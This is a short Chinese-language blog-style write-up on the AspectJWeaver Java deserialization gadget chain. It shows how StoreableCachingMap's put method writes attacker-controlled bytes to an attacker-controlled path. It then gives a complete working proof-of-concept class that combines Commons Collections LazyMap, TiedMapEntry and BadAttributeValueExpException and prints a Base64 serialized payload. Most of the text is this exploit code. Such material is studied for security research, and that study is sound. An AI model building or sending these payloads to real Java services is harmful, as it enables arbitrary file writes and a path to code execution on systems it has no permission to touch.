AspectJWeaver反序列化
其实没有什么好讲的,随便水一下,因为学过cc链都知道了利用
aspectjweaver中有一个SimpleCache类,SimpleCache类中的内部类StoreableCachingMap是一个继承HashMap的类。
看到它的put方法
public Object put(Object key, Object value) {
try {
String path = null;
byte[] valueBytes = (byte[]) value;
if (Arrays.equals(valueBytes, SAME_BYTES)) {
path = SAME_BYTES_STRING;
} else {
path = writeToPath((String) key, valueBytes);
}
Object result = super.put(key, path);
storeMap();
return result;
} catch (IOException e) {
trace.error("Error inserting in cache: key:"+key.toString() + "; value:"+value.toString(), e);
Dump.dumpWithException(e);
}
return null;
}
一眼顶真可以写文件,跟进writeToPath((String) key, valueBytes)
private String writeToPath(String key, byte[] bytes) throws IOException {
String fullPath = folder + File.separator + key;
FileOutputStream fos = new FileOutputStream(fullPath);
fos.write(bytes);
fos.flush();
fos.close();
return fullPath;
}
文件路径就是folder + File.separator + key;全部都是可以控制的
那怎么触发put方法,如果有cc的依赖的话,看到我们的lazymap
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
懂的都懂了,也不需要我多说了
链子,yso里也有
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception {
// 反射获取构造函数
Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);
con.setAccessible(true);
// 实例化对象
HashMap map = (HashMap)con.newInstance("D:", 1);
// 这里用到ConstantTransformer是为了构造value,即写入文件的值
ConstantTransformer transform = new ConstantTransformer("12321321".getBytes(StandardCharsets.UTF_8));
// 返回一个LazyMap对象
Map outmap = LazyMap.decorate(map,transform);
// 利用TiedMapEntry和BadAttributeValueExpException,使反序列化BadAttributeValueExpException对象的时候触发LazyMap的get方法
TiedMapEntry tiedmap = new TiedMapEntry(outmap,"1.txt");
// 这里是为了序列化时不触发LazyMap的get方法
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
// 序列化
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(out);
oos.writeObject(poc);
System.out.println(Base64.getEncoder().encodeToString(out.toByteArray()));
// 反序列化
ByteArrayInputStream in = new ByteArrayInputStream(out.toByteArray());
ObjectInputStream ois = new ObjectInputStream(in);
ois.readObject();
}
}
参考
https://xz.aliyun.com/t/11499?time__1311=Cq0xRDnD070QitD%2FWriQqwEb8%3DP40K44dx#toc-0